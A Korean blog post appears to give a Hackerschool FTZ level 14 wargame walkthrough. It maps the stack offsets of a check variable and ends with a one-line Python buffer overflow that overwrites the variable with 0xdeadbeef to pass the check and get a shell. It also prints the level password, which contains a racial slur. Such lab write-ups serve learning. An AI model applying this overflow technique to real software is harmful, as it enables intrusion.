[Hackerschool FTZ] level 14 - 루틴분기
by jennysgap[Hackerschool FTZ] level 14 - 루틴분기
Password: what that nigga want?
메모리 할당 크기는 56byte (buf에서 dummy까지)
[ buf 20 ] [ check 4 ] [ crap 4 ] [ dummy 28 ] [ SFP 4 ] [ RET 4 ]
여기서 문제점은 dummy의 정확한 위치를 모른다는 점이다.
※ if문을 통과하기 위해서는 check 값의 위치를 정확하게 알아내는 것이 중요하다.
dummy 의 위치가 어딘지 정확하게 찾는게 어려움....
주소를 확인하기 위해 코드를 추가해보면 dummy의 위치를 알 수 있다.
printf("input is : %s\n buf : %p\n check : %p\n crap : %p\n", buf, buf, &check, &crap);
7d8 [check] - 7b0 [buf] = 28(Hex) → 40(DEC)byte
7dc [crap] - 7d8 [check] = 4byte
[ buf ] <-- 40byte --> [ check ] <-- 4byte --> [ crap ]
[ buf 20 ] [ dummy 20 ] [ check 4 ] [ crap 4 ] [ dummy 8 ] [ SFP 4 ] [ RET 4 ]
# (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
반응형
'BOX' 카테고리의 다른 글
[Hackerschool FTZ] level 16 - Function Pointer (0) | 2018.01.09 |
---|---|
[Hackerschool FTZ] level 15 - 루틴분기(2) (0) | 2017.12.26 |
[webhacking.kr] 홈페이지 가입하기 (0) | 2017.12.22 |
[Hackerschool FTZ] level 13 - Stack Guard (0) | 2017.12.20 |
[Hackerschool FTZ] level 12 - Stack Buffer Overflow(2) (0) | 2017.12.13 |
블로그의 정보
jennysgap
jennysgap